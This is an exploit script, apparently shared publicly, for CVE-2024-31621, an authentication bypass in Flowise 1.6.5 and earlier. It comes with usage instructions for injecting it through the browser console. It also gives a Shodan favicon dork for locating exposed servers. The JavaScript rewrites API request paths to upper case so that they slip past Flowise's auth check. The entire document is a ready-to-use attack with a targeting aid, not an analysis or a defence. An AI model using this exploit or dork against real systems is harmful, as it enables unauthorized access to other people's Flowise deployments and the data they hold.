CVE-2024-31621 exploit

fwab.js

/*  CVE-2024-31621
    Flowise 1.6.5 <= Authentication Bypass
    By komodo

    Usage:  Navigate to a page that does not require auth (ex: /tools),
            then inject this code inside dev tools console.
    
    Shodan dork: http.favicon.hash:-2051052918
*/
var req = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
    arguments[1] = url.replace('/api/v1/','/API/V1/');
    return req.apply(this, arguments);
};